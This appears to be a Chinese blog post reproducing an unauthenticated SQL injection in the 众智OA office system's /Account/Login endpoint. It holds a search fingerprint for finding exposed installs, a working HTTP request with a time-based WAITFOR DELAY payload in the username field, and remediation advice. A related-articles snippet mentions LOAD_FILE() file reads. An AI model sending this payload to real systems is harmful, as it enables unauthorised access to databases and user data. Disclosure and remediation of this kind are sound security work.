首页 > 数据库 >众智OA办公系统 Login SQL注入漏洞复现

众智OA办公系统 Login SQL注入漏洞复现

时间:2024-10-21 17:47:38浏览次数:3  
标签:zh 数据库 OA 漏洞 SQL Login image

0x01 产品描述:

     ‌众智OA办公系统是一种专门为企业和机构的日常办公工作提供服务的综合性软件平台。‌ 它凭借先进的技术和人性化的设计理念,实现了信息的快速传递和自动化处理,帮助企业和机构实现信息化、自动化、智能化和标准化的办公管理‌

0x02 漏洞描述:

      众智OA  /Account/Login接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

0x03 搜索语句:

body="/Account/Login?ACT=Index"

0x04 漏洞复现:

POST /Account/Login?ACT=Index&CLR=Home HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Encoding: gzip, deflate

username=1');WAITFOR+DELAY+'0:0:5'--&password=1&RememberMe=false

 sqlmap验证

0x05 修复建议:

  1. 使用预编译语句:采用参数化查询和预编译语句(如Prepared Statements),可以确保输入数据作为参数处理,从而避免直接插入到SQL语句中。

  2. 输入验证:对用户输入进行严格验证,确保只接收合法范围内的数据。可以使用白名单策略,过滤掉所有非法字符。

  3. 最小权限原则:数据库账户应仅授予执行所需操作的最低权限,避免使用高权限账户连接数据库。

  4. 错误信息处理:避免在前端展示详细的数据库错误信息,以免泄露系统结构和数据库信息。

  5. 使用Web应用防火墙(WAF):部署WAF可以实时监测和拦截可疑请求,提供第一道防线。

标签:zh,数据库,OA,漏洞,SQL,Login,image
From: https://blog.csdn.net/xc_214/article/details/143037393

相关文章

  • 数据库运维实操优质文章文档分享(含Oracle、MySQL等) | 2024年9月刊
    本文为大家整理了墨天轮数据社区2024年9月发布的优质技术文章/文档,主题涵盖Oracle、MySQL、PostgreSQL等主流数据库系统以及国产数据库的技术实操,从基础的安装配置到复杂的故障排查,再到性能优化的实用技巧及常用脚本等,分享给大家:Oracle优质技术文章概念梳理&安装配置Oracle授......
  • Windows系统绿色安装MySQL 8.0.39
    下载官方网址:https://dev.mysql.com/downloads/mysql/版本:8.0.39解压到本地磁盘建议解压到固态硬件所在的盘符。配置增加环境变量MYSQL_HOMEMYSQL_HOME=C:\green\mysql-8.0.39-winx64PATH追加%MYSQL_HOME%\bin验证保存上面的配置,新启一个cmd窗口,输入mysql--vers......
  • [java毕业设计]免费分享一套SpringBoot+Vue大学生(校园)志愿者管理系统【论文+源码+SQ
    大家好,我是java1234_小锋老师,看到一个不错的SpringBoot+Vue大学生(校园)志愿者管理系统,分享下哈。项目视频演示【免费】SpringBoot+Vue大学生(校园)志愿者管理系统Java毕业设计_哔哩哔哩_bilibili项目介绍随着信息化时代的到来,管理系统都趋向于智能化、系统化,校园志愿者......
  • spring-cloud-oauth2
    学习oauth2配合使用ElementPlus+Vue3(idea开发,需要安装lombok插件)版本:依赖版本spring-boot2.5.3spring-cloud2020.0.4spring-security3.2.10.RELEASEspring-security-oauth2-autoconfigure2.1.2.RELEASEmybatis-plus3.4.3.1jdk1.8仓库地址......
  • 什么是SOA
    SOA(Service-OrientedArchitecture,面向服务的架构)是一种软件设计方法,通过定义可复用的服务来促进不同系统间的互操作。文章将详细介绍:1、SOA的基本概念与核心原则;2、SOA的工作方式;3、SOA与微服务的比较;4、SOA的实际应用案例;5、SOA的优点与挑战。在SOA的工作方式部分,我们将阐述如......
  • 揭秘PostgreSQL的隐藏奥秘:物理、内存与进程模型的深度解析与高效优化策略
    引言PostgreSQL作为一款强大的开源关系型数据库管理系统,以其灵活性、高性能和丰富的功能特性在全球范围内受到广泛欢迎。其底层架构的精心设计,使其在处理复杂查询、支持多种数据类型和高并发用户访问时表现出色。理解PostgreSQL的底层架构不仅有助于提升系统性能,还能帮助开......
  • 突然断电重启mysql报错[ERROR] [MY-013183] [InnoDBl Assertion failure: trxotypes.h
    当你遇到断电重启后MySQL报告[ERROR][MY-013183][InnoDB]Assertionfailure:trxotypes.h:541:m_rsegs_n<2这样的错误时,这通常指示InnoDB存储引擎在尝试恢复或初始化其内部数据结构时遇到了问题。这个问题很可能是由于断电导致的未正常关闭和文件系统的不一致状态。......
  • keycloak~Consent Required的使用
    ConsentRequired在keycloak中是“授权所需”,或者是“同意必需“的意思,它类似于oauth2授权时的“确认”,当你在第三方认证后,通过oauth2协议,你可以把用户相关信息返回给应用程序,而这时,用户自己需要确认一下,自己的这些信息是否可以给应用程序。为客户端配置ConsentRequired选项可......
  • count(*)、count(1)哪个更快?面试必问:通宵整理的十道经典MySQL必问面试题Jv
    合集-面渣逆袭(10)1.阿里面试:Java开发中,应如何避免OOM02-212.美团面试:Kafka如何处理百万级消息队列?02-203.Java异常处理的20个最佳实践:告别系统崩溃02-224.揭秘一线大厂Redis面试高频考点(3万字长文、吐血整理)02-235.美团面试:说说OOM三大场景和解决方案?(绝对史上最全)02-246.面试......
  • MySQL注入load_file常用路径
            在MySQL注入攻击中,攻击者可能会尝试利用LOAD_FILE()函数来读取服务器上的敏感文件。LOAD_FILE()函数允许从服务器的文件系统中读取文件,并将其内容作为字符串返回。然而,这个函数需要满足一定的权限条件,并且文件路径必须是服务器能够访问的。WINDOWS下:c:/boo......